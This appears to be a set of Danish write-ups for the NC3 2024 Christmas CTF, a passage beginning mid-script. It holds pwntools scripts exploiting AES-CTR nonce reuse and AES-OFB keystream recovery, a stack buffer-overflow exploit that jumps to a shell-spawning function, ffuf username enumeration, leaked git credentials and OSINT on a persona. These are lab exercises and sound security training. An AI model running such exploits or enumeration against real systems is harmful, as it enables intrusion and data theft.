    curl "http://10.10.6.240/skift-kanal?$(date +%s%N)" -o "image_$i.png"
    sleep 1
done

from PIL import Image
import numpy as np

# Load images
image1 = np.array(Image.open("image_1.png"))
image2 = np.array(Image.open("image_10.png"))
image1_rgb = image1[:, :, :3]  # Extract RGB channels only
image2_rgb = image2[:, :, :3]
xor_result = np.bitwise_xor(image1_rgb, image2_rgb)
xor_image = Image.fromarray(xor_result.astype(np.uint8))
xor_image.save("xor_result_rgb.png")
xor_image.show()

efter lidt rens får vi

Screenshot af flag

Flag: NC3{hvord4n_5k4l_j3g_s3_jul3k4l3nd3r_m3d_4l_d3n_fj3rn5yn5fl1mm3r?}

PostNordpolen I

Livet som nysgerrig postnisse for PostNordpolen var altså lidt sjovere før - nu har kryptonisserne fundet på et system til kryptering af intern post mellem værkstederne 🙁

Hvert værksted har udpeget en nøglenisse med krypteringsansvar, der hver mandag morgen kl. 8:00 får udleveret en ny delt nøgle og en fælles kodebog med hemmeligheder til engangsbrug.

PostNordpolen udleverer vel omtrent 30 breve om dagen normalt - mon nøglenisserne har koder nok til en pludselig stigning?

https://tryhackme.com/jr/postnordpolen2o24

Forbind med: nc <tildelt-ip> 1337

Bemærk: Opgaven lukker op for PostNordpolen II og PostNordpolen III.

Vedhæftet fil: postnordpolen_i.py

Løsning: Man ikke anvende samme nonce i aes_ctr da man så kan deducte plaintexten ud fra ciphertexten.

from pwn import * 
import binascii 

context.log_level = 'debug'
host = '10.10.26.14'
port = 1337  

#this to connect to the server
p = remote(host, port) 

#decrypt with XOR func 
def xor(*args):
    return bytes([a ^ b ^ c for a, b, c in zip(*args)])

#Step 1: WE retrieve the encrypted flag
p.sendlineafter('> ', '1')
p.recvline()
enc_flag = binascii.unhexlify(p.recvline().strip().split(b': ')[1]).strip()
#enc_flag = binascii.unhexlify(p.recvline().strip().split)
#log.info(f'{enc_flag.hex()}')
log.info(f'Encrypted flag: {enc_flag.hex()}')

#Step 2: We send a known input with the same length as the encrypted flag
# Subtract the nonce length - deducted from initial try.
input_str = 'A' * (len(enc_flag) - 12)

def getAES():
    p.sendlineafter('> ', '2')
    p.sendlineafter('Besked: ', input_str)
    p.sendlineafter('Adresse: ', 'Her')
    p.recvline()
    encoded_input = binascii.unhexlify(p.recvline().strip().split(b': ')[1])
    return encoded_input
    #log.info(f'Encrypted input: {enc_input.hex()}')

enc_input = ''

#Starts while loop but limits to 300 rounds.
i = 1
while i < 300:
  encoded_input = getAES()
  result = encoded_input.hex()
  
  if result[:12] == enc_flag.hex()[:12]:
    #Print the visible flag and input as hex
    print(enc_flag)
    print(binascii.unhexlify(result))

    #Return the binary format and sets variable
    enc_flag = binascii.unhexlify(enc_flag.hex()[-98:])
    enc_input = binascii.unhexlify(result[-98:])
    break

  i += 1

#Step 3: Calculate the flag with XOR
flag = xor(enc_flag, enc_input, input_str.encode())
log.success(f'Flag: {flag.decode()}')

#this closes the connection
p.close()

# Original: simonedimario 
# Modified by: Raihan
# Credits: https://medium.com/@raihansltn/reduce-reuse-recycle-cryptography-ctf-hacker-class-compfest16-d9ca4824c558
# AES-CRT: https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#ctr-mode

Flag: NC3{P0stN0rdp0l3n_3r_5t0r3_f0r74l3r3_f0r_g3nbrug}

Regnskabsnisserne

Julemandens regnskabsnisser har udviklet et indkodningssystem for at skjule deres beskeder fra nysgerrige blikke.

Men en dag da nisserne gik til frokost, glemte én af dem at låse sin computer. En snedig gnom så sit snit til at snige sig ind og stjæle en del af deres samtale.

Kan du knække nissernes kode og afsløre, hvad de diskuterer i hemmelighed?

Vedhæftet fil: kommunikation.txt

Løsning: Substitution cipher.

Tror flaget gemmer sig hér: 150 166 213 150 206 216 214 166 d : <> H 166 62 <> 141 124 102 234 201 151 d 224 66 214 164 e s 124 216 202 100 s j 164 e r 164 d 102 211 224 236

Altså 141 = N (Findes 2 steder, giver mening der hvor det andet store N står)
124 = C (Findes 2 steder, begge en del af flaget)
102 = 3 (Findes 2 steder, begge en del af flaget)
234 = { (findes 1 sted)
236 = } (findes 1 sted)

Tallene ligger i blokke af 7, hvorefter der kommer et spring på 4 tegn. Har bare slavisk gået det igennem, og fundet dem et af gangen…

TalThomas: Jeg forstaar ikke, hvor julemanden faar alle de penge fra
FrostFinn: Nej, men de kommer altid hvert aar
KlokkeKarl: Er det sikkert at skrive hemmelige beskeder her
FrostFinn: Ja ja, der er aldrig nogen, som har set mine beskeder
KlokkeKarl: Okay, for jeg vil bare sige, at postnordnisserne har det bedre end os
TalThomas: Hvad mener du? Vi kunne da ikke have det bedre
KlokkeKarl: Jeg har set, at de faar varm kakao hver dag - og det med floedeskum
FrostFinn: Jamen saa synes jeg, at vi skal tage over og drikke alt deres kakao
TalThomas: Ja, det kan ikke passe, at andre nisser har det bedre end os, naar vi styrer regnskabet
KlokkeKarl: Jeg er glad for at kunne dele det med jer. Godt at vi kan skrive i hemmelighed her
TalThomas: Ja, NC3{CUst0m_enCod1ng_er_s3jt}
FrostFinn: Lige netop. Ingen har nogensinde kunne se vores beskeder

Flag: NC3{CUst0m_enCod1ng_er_s3jt}

Ondsindede Loginforsøg

Introduktion

Julemandens hovedserver er blevet kompromitteret, og vi mistænker stærkt, at de ondsindede gnomer står bag angrebet. Julens politi har sat en undersøgelse i gang, men de har brug for din hjælp til at identificere gerningsgnomen og afdække de kriminelle handlinger, der er blevet udført.

Kan du hjælpe med at genoprette julefreden og få styr på de stjålne data?

OBS: Dette er en serie på fem opgaver, der skal løses sekventielt. Denne opgave låser op for den næste.

Denne opgave

Julens politi har sikret en logfil fra serveren, som indeholder detaljer om flere loginforsøg. De mistænker, at en gerningsgnom har opnået fjernadgang, men da julemandens egne nisser også har adgang til serveren, er det svært at skelne mellem legitime og mistænkelige loginforsøg.

Gerningsgnomen virker til at have været opmærksom på at skjule sine spor, men det kan jo glippe! Kan du identificere et loginforsøg med en særlig interessant IP-adresse, der kan sætte efterforskningen på sporet af den skyldige?

Flaget er formateret NC3{tidsstempel}, hvor tidsstempel svarer til tidspunktet i det fundne loginforsøg, formateret som i loggen.

Vedhæftet fil: auth.log

Løsnings Summary:

  • Tidspunkter for aktiviteter: De logger ind på alle tider af døgnet.

  • Simultaneous sessions: Alle brugere har mange sessions på samme tid.

  • SUDO Actions: Alle brugere laver de samme SUDO actions. Selv root kører SUDO mange gange..

  • CRON Jobs: Kører meget predictable og udelukkende af root

  • Unknown users: Der er flere unknown users. Ingen er unikke. Alle forsøger kun fra interne IP’er.

  • root login fails: Mange fails, men alle er fra interne IP-adresser.

  • other user login fails: Sker flere gange for alle users, alle interne IP’er.

  • Sus users: KanelKnaser logger ind fra 100 foreign IP-adresser, primært TOR. Der er 1 kendt malicious IP, den er testet. Han flyver i øvrigt verden rundt på få sekunder, men det er testet at det ikke er mistænkeligt at han går fra bulgarien til holland på 6 sekunder.

  • Strange ports: Ingen

  • Foreign IP’s: Alle foreign IP’er (100) er næsten lige sus og hører udelukkende til KanelKnaser. Se IP analyse vedhæftet. Der er ikke nogen på nordpolen eller lign., det er primært TOR eller andre mærkelige steder. Heller ingen RUS/Kina.

  • “Suspicious IP”: Alle IP’er er blevet konverteret til ASCII og der er ingen som staver noget sjovt.

  • Misc: Der er et hop i loggen fra 31 jul kl. 21 something til 01 aug tilbage til 31 jul og så videre fra 01 aug igen.

Endelig Løsning: Ud af de 100 forskellige IP’er som KanelKnaser logger ind med, er: Aug 09 11:41:09 my-server sshd[14455]: Accepted password for KanelKnaser from 209.38.243.124 port 53935 ssh2. Alt det han ellers logger ind med er TOR Exit nodes. Denne ene er et VPN relay. [2:57 PM]

Flag: Aug 09 11:41:09

Serverskjulet

Julens politi formoder, at gerningsgnomen har etableret en skjult server og et tilknyttet domæne for at skjule sine spor.

Kan du bruge den fundne IP-adresse til at finde serveren og domænet, hvor yderligere spor om gerningsgnomen kan afsløres?

Bemærk: Opgaven kræver ikke bruteforce.

Løsning: Hvis man til går https://209.38.243.124 får man et invalid ssl cert. View cert giver følgendene oplysninger om certifikatet.

Screenshot af Certificate

Flag: NC3{1nfiL7rAti0n_0g_3xf1ltr4t1on}

Kodedepotets Hemmelighed

Du har nu fundet gerningsgnomens hjemmeside, men dens indhold er kun overfladen. Julens politi mistænker, at yderligere information om eksfiltreret data kan gemme sig bag skjulte sider.

Brug OSINT-teknikker for at se, om du kan få adgang til disse skjulte sider og afsløre flere detaljer om, hvad der er blevet stjålet.

Kan du grave dybt nok til at finde den skjulte information?

Bemærk: Opgaven kræver ikke bruteforce.

Løsning:

Screenshot af login siden på bitbibliotek

Hvis man laver lidt osint på datagnasker som er taget fra mailen datagnasker@proton.me finder man en GitHub konto: https://github.com/datagnasker

Screenshot af Datagnasker’s GitHub

Websidens kode kan findes her: https://github.com/datagnasker/web_test

Screenshot af hjemmesidens kode Screenshot af Github commit

I filen views.py bliver denne linje fjernet og erstattet: if request.form['username'] == 'bit' and request.form['password'] == 'frost123':

Ved at loggeind med username bit og password frost123 finder man en flag: NC3{g3m_4lDr1g_cR3d3nT1al5_i_g1T_r3P0}

Flag: NC3{g3m_4lDr1g_cR3d3nT1al5_i_g1T_r3P0}

Alternativ Kodedeling

Du har fundet et interessant link på gerningsgnomens hjemmeside, men adgangen er beskyttet af en adgangskode, som du mangler.

Julens politi har en mistanke om, at nisserne har efterladt spor et sted på domænet, som kan lede dig til den nødvendige kode.

Kan du afsløre adgangskoden og låse op for sidste trin i efterforskningen?

Bemærk: Opgaven kræver ikke bruteforce.

Løsning: Fra sidste opgave (Kodedepotets Hemmelighed) finder vi det interessante link som er: https://privatebin.net/?a5f7a035573705be#J5nBwc2LPLYTZKsy6prN32aHVxdMHjJfwbi4WaNcaSs8, pasten kræver en adgangskode, denne fandt vi også i sidste opgave: TXT record med: "delingmedKodetand:enjulehemmelighed1.jan". Koden til pasten er enjulehemmelighed1.jan

Screenshot af privatebin

Under “INTERESSER” i sidste linje findes flaget.

Flag: NC3{d3L_1kK3_h3MmeL1gh3d3R_h3R}

Gerningsgnomens Afsløring

Efter omfattende efterforskning har du samlet flere spor om gerningsgnomens aktiviteter.

Nu har Julens Politi brug for din hjælp til at færdiggøre politirapporten med præcise detaljer om hændelserne og de stjålne data. Kan du sikre, at rapporten bliver komplet og klar til julens retsopgør?

Link til rapportskabelonen: https://tryhackme.com/jr/nisseh4ck2o24

Løsning:

Screenshot af rapportskabelonen

I de sidste 4 opgaver har vi fundet følgendene:

  1. Brugernavn: KanelKnaser
  2. Pin: 2412
  3. Grøntsag: gulerødder
  4. Nøgler: Nissehue, Sukkerstang, Guirlande, Kræmmerhus, Julekugle
  5. Nummer: 299 12 34 56
  6. IP-adresse: 209.38.243.124
  7. Email: datagnasker@proton.me
  8. Domæne: bitbibliotek.dk
  9. For- og efternavn: ?????
  10. By: ?????
  11. Organisation: Gnomerne Aps
  12. By: Ringsted

Ved hjælp af Bing finder vi For- og efternavn:

Screenshot af Bing søgning

  1. For- og efternavn: Børge Madsen

Nu mangler vi bare By.

Ved at kigge på hans Github profil kan vi se et “Stack ID”:

Screenshot af Github profil - Stack ID

Stack må betyde Stackoverflow: https://stackoverflow.com/users/28085338 som viser Location som Fensmark

  1. By: Fensmark

Efter at have udfyldt rapportskabelonen får man:

Screenshot af rapportskabelonen med flag

Flag: NC3{hU5k_aT_sKr1v3_r4Pp0Rt}

PostNordpolen II

Kryptonisserne opdagede sikkerhedshullet og har udskiftet deres kryptosystem, så PostNordpolens postnisser igen er forhindret i at snage.

Nøglenisserne har med magi udvidet kodebogen, så den aldrig løber tør - men er kryptosystemet mon stadig sårbart?

https://tryhackme.com/jr/postnordpolenii2o24

Forbind med: nc <tildelt-ip> 1337

Vedhæftet fil: postnordpolen_ii.py

Løsning: AES OFB går på at man starter med en IV, som via key krypteres og bliver den første keystream som XOR’s med de første 16byte. Denne keystream bliver så den ny IV for igen at blive krypteret for at blive XOR’et med de næste 16byte osv. osv.

Løsningen ligger i at bede om så mange flag at man ved at starte strengen er “[BREV 1000] NC3{”, hvilket er 16byte. Vi kan dermed få den første keystream! Ved at sende breve og bruge denne keystream som IV, kan vi få den næste keystream ved at XOR vores besked tilbage på den cipher vi modtager: “[BREV 1001] AAAA” XOR keystream = ciphertext.

Det gøres så for alle 5 blocks og man har flaget 🙂

from Crypto.Cipher import AES #pycryptodome
import os
from pwn import *

key = os.urandom(16)
IV = os.urandom(16)   #IV = efcc04b94963a02e01ac139456a3f160 in hex
cipher = AES.new(key, AES.MODE_OFB, IV) 

#Krypter testflag
ct = cipher.encrypt('[BREV 1000] nc3{Dette_er_kun_en}'.encode()) 
print(ct) 
#>>> 'g\xb7\xddL\xb6\xd8\x0b\x12u#D\x18a\xafv{\x93\xf6\x90$Z\x02|\xdb|\xa7\x8fO_j\x81\xa1'
first_bytes = ct[:16]
#first_bytes = bytes.fromhex(ct.hex()[:32])

ecb_cipher = AES.new(key, AES.MODE_ECB)
first_xor_key = ecb_cipher.encrypt(IV)

#Proof we can get the xor_key / keystream by xor with the known part
first_xor_key_calc = xor(first_bytes, '[BREV 1000] nc3{'.encode())

#Returns for first 16 bytes
print(first_xor_key) # >> b'xZ\x0f-\xb2\x19*\xc1\xd4\rX\xb0\xbb\x8c\x84\x92'
print(first_xor_key_calc) # >> b'xZ\x0f-\xb2\x19*\xc1\xd4\rX\xb0\xbb\x8c\x84\x92'

#Encrypt known plaintext with first_xor_key = IV
cipher2 = AES.new(key, AES.MODE_OFB, first_xor_key)
ct2 = cipher2.encrypt('[BREV 1001] AAAA'.encode())

second_xor_key = ecb_cipher.encrypt(first_xor_key)

#Proof we can get the xor_key / keystream by xor with the known part
second_xor_key_calc = xor(ct2, '[BREV 1001] AAAA'.encode())

print(second_xor_key) # >> b'FS[\x15\xbc\x93n#D\x05\x0e\xb2~\xda\xfb\x8b'
print(second_xor_key_calc) # >> b'FS[\x15\xbc\x93n#D\x05\x0e\xb2~\xda\xfb\x8b'

#Encrypt the IV once with the cipher to get the first block 
first_block = xor(first_xor_key_calc, ct[:16]) # >> b'[BREV 1000] nc3{'
print(first_block)

#Encrypt the IV again with the cipher to get the second block
second_block = xor(second_xor_key_calc, ct[16:]) # >> b'Dette_er_kun_en}'
print(second_block) 


#Recover the plaintext
pt = first_block + second_block 
print(pt.decode('latin-1')) # >> "[BREV 1000] nc3{Dette_er_kun_en}"

from pwn import *
import binascii 

context.log_level = 'debug'
host = '10.10.118.18'
port = 1337  

#this to connect to the server
p = remote(host, port) 

#decrypt with XOR func 
#def xor(*args):
 #   return bytes([a ^ b ^ c for a, b, c in zip(*args)])

#parameters
letter = 1
enc_flag = ''
hex_flag = '5369e734ab805ea36f332f6ce4dc6d3fb6ef6e5df6b7ed407c3a7056e4fcc895be99677fe2d4d00088e59380817b4ecc9fbadbdad512aaf64978fbc1947eea912e2026382649ab85' #[BREV 1000] nc3{

#functions
#convert to byte
def hex_to_byte(hex):
  return binascii.unhexlify(hex)

#known plaintext
def get_known(letter):
  response = f"[BREV {letter}]".encode()
  return response

#Get flag as byte string
def getFlag():
  p.sendlineafter('> ', '1')
  p.recvline()
  enc_flag = binascii.unhexlify(p.recvline().strip().split(b': ')[1])

  global letter 
  letter += 1
  return enc_flag
  

#send keystream for encryption
def encryptKeystream(keystream, plaintext):
  p.sendlineafter('> ', '2')
  p.sendlineafter('Besked: ', 'AAAA')
  p.sendlineafter('Adresse: ', 'Her')
  p.sendlineafter('IV: ', keystream.hex())
  p.recvline()
  result = binascii.unhexlify(p.recvline().strip().split(b': ')[1])

  global letter 
  letter += 1

  #Convert to new keystream with known plaintext
  newKeystream = xor(result, plaintext.encode())
  return newKeystream



#1 Run flag 1000 times to make the first 16bytes '[BREV 1000] NC3{'
while letter < 1000:
  getFlag()

enc_flag = getFlag()

#2 Convert first 16bytes to keystream
keystream = xor(enc_flag[:16], '[BREV 1000] NC3{') 

#3 Convert the keystream using the send message option.
plaintext = f'[BREV {letter}] AAAA' # BREV 1001
keystream1 = encryptKeystream(keystream, plaintext)
plaintext = f'[BREV {letter}] AAAA' # BREV 1002
keystream2 = encryptKeystream(keystream1, plaintext)
plaintext = f'[BREV {letter}] AAAA' # BREV 1003
keystream3 = encryptKeystream(keystream2, plaintext)
plaintext = f'[BREV {letter}] AAAA' # BREV 1004
keystream4 = encryptKeystream(keystream3, plaintext)


#4 Xor with keystreams to return flag
block1 = xor(enc_flag[:16], keystream)
block2 = xor(enc_flag[16:32], keystream1)
block3 = xor(enc_flag[32:48], keystream2)
block4 = xor(enc_flag[48:64], keystream3)
block5 = xor(enc_flag[64:80], keystream4)

response = block1 + block2 + block3 + block4 + block5
log.success(response)




#this closes the connection
p.close()

# AES-OFB: https://pycryptodome.readthedocs.io/en/latest/src/cipher/classic.html#ofb-mode  https://github.com/zelinsky/CTF-Course/blob/master/Classes/4.md

Flag: NC3{hv3m_h4r_brug_f0r_3n_k3y_n4r_m4n_k4n_g3n5k4b3_k3y5tr34m}

Nisse-gæld

Fritz blev opdaget i at snyde pensionssystemet og skal betale alt tilbage.

Han har dog allerede brugt en stor del på sin nye fede Nisla, så han står nu med en klækkelig gæld på ❄️10.000.000.

Froststyrelsen har centraliseret sin håndtering af ❄️ for at øge sikkerheden - mon Fritz kan snyde systemet igen og få adgang til deres server, så han kan eftergive sin egen gæld?

https://tryhackme.com/jr/n1ssegaeld2o24

Vedhæftet fil: nisseby-2

Løsning:

from pwn import *

# Address of the target function (login_froststyrelsen) that spawns a shell
#target_function_address = 0x00000000004018b2
target_function_address = 0x00000000004018b6

# Offset to overwrite the return address
offset = 1008

# Build the payload
payload = b'A' * offset
payload += p64(target_function_address)
payload += p64(target_function_address) #??? men det skal der til, tror det er pga


# stack alignment just in case i think :-)
# Ensure total payload length is a multiple of 16
padding_length = (16 - (len(payload) % 16)) % 16
payload += b'B' * padding_length

# Start the process
#p = process('./nisseby-2') #local
# Connect to the remote service
p = remote('10.10.75.215', 1337)


# Interact with the program
print(p.recvline().decode())

p.sendline(b'4')  
print(p.recvline().decode())
sleep(1)

p.sendline(b'1')
print(p.recvline().decode())
sleep(1)

p.sendline(b'1')
print(p.recvline().decode())
sleep(1)

p.sendline(b'1')
print(p.recvline().decode())
sleep(1)

# Send the payload
p.sendline(payload)

# Hand over control to interact with the shell
p.interactive()

Flag: NC3{T1llykk3_N1ss3fr1tz_du_3r_nu_gældfr1_3ft3r_fl3r3_m1nutt3rs_hård7_4rb3jd3}

Skattekammeret-robotnisse

Ønske: Lidt Web og lidt PWN her i den kolde tid!

Du ved, hvad der må gøres! H4CK the NISSE-skattekammer. Et enkelt overflow ad gangen.

https://tryhackme.com/jr/skattekammeret2o24

Løsning: robots.txt

Flag: nc3{r0b0t}

Skattekammeret-storenisse

Løsning: Clue fra robots.txt: disallow /skjult/storenisse.html /skjult/storenisse.html:

<html>
<h1>Skattekammeret2o24</h1>

SHH!!!<br>
<br>
Hemmeligt kodeord til storenisse:<br>
<br>
<p style="color:white">jegkommermedfred</p>

</html>

ssh storenisse@<ip>

storenisse@nc3ctf24-skattekammeret2o24:~$ ls
bmMze3JvYm90c19iYXNlNjRfMGdfcHduX2lfZW5fcGFra2V9  gave.b64

python3 -c 'import base64;print(base64.b64decode("bmMze3JvYm90c19iYXNlNjRfMGdfcHduX2lfZW5fcGFra2V9").decode())'

Flag: nc3{robots_base64_0g_pwn_i_en_pakke}

GremlinGram

Nisser og gremlins har længe haft et anspændt forhold, og i år frygter nisserne, at de teknologiglade gremlins er i gang med at planlægge noget skummelt.

Nisserne har fundet et socialt medie, hvor gremlins kommunikerer og har bedt Julens politi om at efterforske sagen. De er sikre på, at der gemmer sig noget under overfladen på denne side…

https://tryhackme.com/jr/gremlingram2o24

Løsning: port 80 åben. der er tale om en chat. Ved tryk på brugernavne kommer man til endpointet /user?user=. kan være -6 til 5, ellers får man en 500 side. Hvis man sætter andet ind end en integer bliver den sur og smidder en tilbage til hovedsiden. Forsøger man at fuzze med andre endpoints, smidder den også en tilbage til hovedsiden (/admin). hvis man kommer ekstra subdirectory på bliver den ikke sur (/admin/)

7 bit ascii

Vi ses ved Postnordpolens hytte 5 kl 20:00
Tjek, jeg har "hammeren" med
10-4
Jeg har en gremlin med i aften
Ok, så længe du har godkendt ham
Det er en jeg kender. Han burde være helt fint
Bare sørg for at være klar
Bliver 10 minutter forsinket
Noteret. NC3{v1_sKr1v3r_whi7E5p4c3_I_sn33n}
10-4, find en rød Volvo

Flag: NC3{v1_sKr1v3r_whi7E5p4c3_I_sn33n}

Nisseportalen #2

Nissernes største ønske er en portal til deling af alle deres AI-genererede billeder aka Nisseportalen. Projektet er dog i fare efter Nissedevs utallige fiaskoer med både Dangerzone og Nissezonen.

Praktikantnissen har fået til opgave at redde Nisseportalen og få ryddet op i Nissedevs rod. Kan du hjælpe med at redde Nisseportalen og finde alle de sårbarheder, der må være, så projektet endelig kan blive gjort færdigt?

Men vær beredt, det er ikke til at sige hvad Nissedev har haft gang i…

https://tryhackme.com/jr/nisseportalen2o24

Løsning: Første skridt er at bruge ffuf til at afsløre mulige brugernavne ved hjælp af følgende kommando:

ffuf -request login.req -request-proto http -mode clusterbomb -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt:USERFUZZ -r -fs 797

Teknikken går ud på systematisk at teste brugernavne ved at identificere unikke responskarakteristika. Vi leder efter beskeder som “Forkert password”, der indikerer et eksisterende brugernavn.

Når vi har identificeret et gyldigt brugernavn, kan vi gennemføre et password-angreb for at få fuld adgang til systemet.

Login-oplysningerne viser sig at være:

  • Brugernavn: test
  • Password: tester

Flag: NC3{Flag2:9aMl3_kod3R_ru573r_AlDrI9}

Gift Wrappinator 9001

Nisserne har indkøbt en ny Gift Wrappinator 9001 for at undgå slidgigt, gaveindpakning til to milliarder børn er ikke for sjov…

Men nogen har indstillet maskinen forkert, alle gaverne er blevet pakket ind i mange lag gavepapir på forskellige måder.

Maskinen kan indstilles til at pakke op igen, men skal bruge en kode for at pakke hvert lag rigtigt op.

Pssst, scriptet blev genereret med Python 3.13.0

Vedhæftet fil: wrappinator.py

Løsning:

#!/usr/bin/env python3

import marshal
import dis #sinserted
import re
import os
import hashlib

def delete_empty_files_using_walk(root_path): 
  
    no_of_files_deleted = 0
  
    # Route through the directories and files within the path - 
    for (dir, _, files) in os.walk(root_path): 
        for filename in files: 
  
            # Generate file path 
            file_path = os.path.join(dir, filename) 
  
            # Check if it is file and empty (size = 0) -------- 
            if ( 
                os.path.isfile(file_path) and
                os.path.getsize(file_path) == 0
            ): 
  
                # Print the path of the file that will be deleted 
                print("Deleting File >>>", file_path.replace('\\', '/')) 
  
                # Delete the empty file  
                os.remove(file_path) 
  
                no_of_files_deleted += 1
  
    print(no_of_files_deleted, "file(s) have been deleted.") 

def generate_checksum(data):
    # Create a SHA-256 hash object
    sha256 = hashlib.sha256()
    # Update the hash object with the data
    sha256.update(data)
    # Return the hexadecimal digest of the data
    return sha256.hexdigest()


def xor(*args):
    # Smart XOR implementation based on pwntools:
    # https://github.com/Gallopsled/pwntools/blob/db98e5edfb/pwnlib/util/fiddling.py#L299-L351
    args = [bytearray([s]) if isinstance(s, int) else bytearray(s) for s in args]

    def xor_(n):
        xored = 0
        for s in args:
            xored ^= s[n % len(s)]
        return xored

    length = max(len(s) for s in args)

    return bytes(map(xor_, range(length)))

def xor_some(pyc,key):
    """ 11
    LOAD_NAME                3 (xor)
    PUSH_NULL
    LOAD_CONST               6 (b'....')
    LOAD_NAME                4 (range)
    PUSH_NULL
    LOAD_CONST               7 (256)
    CALL                     1
    LOAD_NAME                5 (user_input)
    LOAD_CONST               0 (0)
    BINARY_SUBSCR
    CALL                     3
    STORE_NAME               6 (marshalled)"""
    marshalled = xor(pyc,range(256),key)

    """ 12
    LOAD_NAME                7 (marshal)
    LOAD_ATTR               17 (loads + NULL|self)
    LOAD_NAME                6 (marshalled)
    CALL                     1
    STORE_NAME               9 (compiled)"""
    compiled = marshal.loads(marshalled)
    return compiled



# user_input = (
#     b'N'
#     + b'C'
#     + b'3'
#     + b'{'
#    # + b"\xff"*32 #input("Indtast kodeord til Gift Wrappinator 9001: ").encode()
# )

#user_input += b"\xff"*(33 - len(user_input)) 

#assert len(user_input) == 33, "Kodeordets længde passer ikke med antal lag!"
#
code = [
    b'N',
    b'C',
    b'3',
    b'{',
    b'4',
    b'n',
    b'0',
    b'7',
    b'h', 
    b'3',#10
    b'r',
    b'_',
    b'0',
    b'n',
    b'3',
    b'_',
    b'4',
    b'n',
    b'd',
    b'_',
    b'A',
    b'n',
    b't',
    b'h',
    b'3',
    b'r',
    b'_',
    b'0',
    b'n',
    b'3',
    b'!',
    b'}'

]
s = ""
for c in code:
    s += c.decode("utf-8")
print(s)
import hashlib

def generate_checksum(data):
    # Create a SHA-256 hash object
    sha256 = hashlib.sha256()
    # Update the hash object with the data
    sha256.update(data)
    # Return the hexadecimal digest of the data
    return sha256.hexdigest()

layer = 33

def save_layer(nr):
    with open(f"./layer/_{str(nr)}.pyc", "wb") as file:
        file.write(pyc)
        print(generate_checksum(pyc))

pyc = b'\x9e|\x7f~yx{zutwvqssrmloni\x9b\xa7jed\xf2f=`1a]\\_^YX[ZUTWVQPSRML\x1cN|IKJEDGFa@\x1f@\x1f<l?\x0c9;:5476\x110o2\x7f//.)(+*%$\'&! #"\x1d\x1c\x1f\x1eJ\x18.\x1b\x15\x14\x17\x16\x11\x103\x12Q\x0e-\x0eZ\t>\x0b\x05\x04\x07\x06\x01\x00#\x02\xa1\xfc\xad\xfd\xf9\xf8\xfb\xfa\xf5\xf4\xf7\xf6\xf1\xf0\xf3\xf2\xed\xec\xef\xee\xe9\xe8\xb8\xea\xd0\xe5\xe7\xe6\xe1\xe0\xe3\xe2\xfd\xdc\x83\xdc\xfb\xd8\x88\xdb\xe0\xd5\xd7\xd6\xd1\xd0\xd3\xd2\xed\xcc\x93\xce\x9b\xcb\xcb\xca\xc5\xc4\xc7\xc6\xc1\xc0\xc3\xc2\xbd\xbc\xbf\xbe\xb9\xb8\xbb\xba\xe6\xb4\x82\xb7\xb1\xb0\xb3\xb2\xad\xac\x8f\xae\xf5\xaa\x89\xaa\xf6\xa6\x92\xa7\xa1\xa0\xa3\xa2\x9d\x9c\xbf\x9e\xfe\x9b\xb2\x9e\xf2\x0e\x0e\x0f\x08\t\n+\xb2\xf6\xa1\x95\xd2\xbb\xb3\xb1\xb0\xbf\xbe\xb2\xec\xa0\xa3\xa2]\\_^YX[ZUTWVQPSRMLONJKHIF\x7f<V\x0c{8R0&rT\x11-)(456zq1?>(l#/.h,+3!7\'1)1bXN\x1fPL\x18K[^_RB\x11_C\x13c\x05,\xf4-\\BG@\xfe"UMEFR\xc7\x19olpvo\xb3\x15\xe7\x17\x16\x11\x10\xc9\x12\xd7\x043cfl~f`:u\x0e\x01\x00\x03\x03\xfd\xfc\xff\x8d\xac\xf8\xfb\xfa\x05\xf7\xf6\xf7\xf0(\xf3\xf6j\xe6n\xe4a\xdbo\xe5<\xe4\xe26\xe7\xd67\xe2\xea\x04\xdf\xda^\xd2Z\xd0]\xe7S\xd9\x08\xd0\xd6\x02\xcb\xfa\x1b\xce\xfe\x10\xcb\xceB\xceF\xccI\xf3G\xcdd\xbc\xban\xbf\x8eo\xba\x82l\xb7\xb26\xba2\xb8%\x9f+\xa1p\xa8\xaez\xa3\x92r\xa6\x96\xd2\xa5\xa2\x9d\x9c'


save_layer(layer)




hex_range = ( 
    code + 
    [int.to_bytes(i,1) for i in range(0x20,0x80)]
)



def get_dis(check,layer):
    #key = b"NC3{"
    for char in hex_range:
        try:
            binobj = xor_some(check,
                          char) # was 2
            dis.code_info(binobj)
            print(char)
            good_binobj = binobj
            break
        except Exception as e:
            #print(e)
            pass

    file_path = f"./dis/_{layer+1}.txt"
    with open(file_path,"w") as file:
        dis.dis(good_binobj,
                file=file)
        


with open(f"./layer/_{layer}.pyc","rb") as file:
    check = file.read()
    print(generate_checksum(check))


get_dis(check,layer)

#delete_empty_files_using_walk('./dis')

exit()
prg = re.compile(r"\(b'(.*)'\)")
prg2 = re.compile(r"(\\x[0-9a-f]{2})|.")
def get_pyc(layer):
    with open(f"./dis/_{layer}.txt","r") as file:
        dis_file = file.read()
        matches = prg.search(dis_file)
        chars = prg2.findall(matches[1])
        # new_pyc = bytes(matches.group(1),"utf-8")
    with open(f"./layer/_{layer}.pyc","wb") as file:
        for char in chars:
            if len(char) > 0:
                b_char = int(char[2:4], 16).to_bytes(1)
            else:
                b_char = bytes(char,"utf-8")
            file.write(b_char)
    with open(f"./layer/_{layer}.pyc","rb") as file:
        pyc = file.read()
        print(pyc[0:10])
        print(pyc[-10:-1])
        return file.read()
get_pyc(0)
exit()

key = b""
for layer in range(33):
    print(f"Layer {layer}")
    print("Getting pyc")
    check = get_pyc(layer)
    print("got pyc. getting key")
    key_part = get_dis(check,layer )
    print(f"got key part: {key_part}")
    key += key_part
    print(f"key is {key}. generation new pyc")



exit()
#My code#

try:
    binobj = marshal.loads(check)
    with open("wrap_dis_1.txt","w") as file:
        dis.dis(binobj,
                file=file)

    # exec(binobj)
except (ValueError, EOFError, TypeError, SyntaxError):
    print("FEJL: Koden matcher ikke gaveindpakningen!")

Flag: NC3{4n07h3r_0n3_4nd_Anoth3r_0n3!}

Raided

Midt- og Vestjyllands Politi har ransaget hos en mand i Viborg, der er mistænkt for at hacke Politiets systemer og downloade fortrolige dokumenter. På mandens adresse fandt de et par gemte devices samt to harddisks i et lille halvtomt rack.

Kredsen har carvet et par filer fra diskene, men formoder der er mere at komme efter, og de har derfor anmodet NC3 om assistance. Hjælp kredsen med at genskabe alt data, så de kan vurdere, om manden skal sigtes efter straffelovens § 263.

Vedhæftet fil: disks.zip

